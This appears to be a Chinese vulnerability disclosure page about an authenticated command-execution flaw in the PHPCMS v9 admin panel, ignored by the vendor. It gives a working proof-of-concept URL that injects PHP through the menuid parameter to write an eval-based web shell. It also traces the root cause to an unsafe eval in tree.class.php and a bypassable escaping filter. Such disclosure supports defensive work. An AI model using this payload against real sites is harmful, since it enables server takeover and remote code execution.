漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:phpcms后台命令执行可getshell
提交时间:2014-12-11 11:31
修复时间:2015-01-17 11:32
公开时间:2015-01-17 11:32
漏洞类型:命令执行
危害等级:中
自评Rank:10
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
无
漏洞详情 披露状态:
2014-12-11: 细节已通知厂商并且等待厂商处理中 2014-12-16: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2015-02-09: 细节向核心白帽子及相关领域专家公开 2015-02-19: 细节向普通白帽子公开 2015-03-01: 细节向实习白帽子公开 2015-01-17: 细节向公众公开
简要描述: v9最新版,后台管理,某处可执行任意代码,有过滤但可以绕过getshell
详细说明: 本地测试 登录后台,访问地址
http://127.0.0.1/index.php?m=content&c=content&a=public_sub_categorys&menuid=${file_put_contents($_GET[f],$_GET[p])}&f=a.php&p=<?php eval($_GET[c]); ?>
生成shell地址为:
http://127.0.0.1/a.php
分析代码: /phpcms/libs/classes/tree.class.php 中方法creat_sub_json中的 line 259
eval("\$data[$n]['text'] = \"$str\";");
其中$str来自 /phpcms/modules/content/content.php line977
if(!empty($categorys)) { $tree->init($categorys); switch($from) { case 'block': $strs = "<span class='\$icon_type'>\$add_icon<a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=\$catid&type=list&pc_hash=".$_SESSION['pc_hash']."' target='right'>\$catname</a> \$vs_show</span>"; break; default: $strs = "<span class='\$icon_type'>\$add_icon<a href='?m=content&c=content&a=\$type&menuid=".$_GET['menuid']."&catid=\$catid&pc_hash=".$_SESSION['pc_hash']."' target='right' onclick='open_list(this)'>\$catname</a></span>"; break; } $data = $tree->creat_sub_json($catid,$strs); }
可以看到$_GET['menuid']会被拼入字符串。 因此我们可以构造恶意攻击语句。 这里虽然会将单引号双引号及反斜杠(\)加反斜杠转义。但是不会未对$(){}[]转义,所以我们可以用类似这种方式进行攻击:
${file_put_contents($_GET[f],$_GET[p])}
漏洞证明: 登录后台,访问地址
http://127.0.0.1/index.php?m=content&c=content&a=public_sub_categorys&menuid=${file_put_contents($_GET[f],$_GET[p])}&f=a.php&p=<?php eval($_GET[c]); ?>
生成shell地址为:
http://127.0.0.1/a.php
修复方案: 漏洞回应 厂商回应: 危害等级:无影响厂商忽略
忽略时间:2015-01-17 11:32
厂商回复:
最新状态: 暂无
漏洞评价:
评论
2015-07-14 00:42 |
0c0c0f ( 实习白帽子 | Rank:48 漏洞数:15 | My H34rt c4n 3xploit 4ny h0les!)
怎么提示出错了啊Parse error: syntax error, unexpected '(' in D:\wamp\www\phpcms\phpcms_v9.5.9_UTF8\install_package\phpcms\libs\classes\tree.class.php(260) : eval()'d code on line 1
2015-08-21 11:01 |
j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我,跟你不熟。)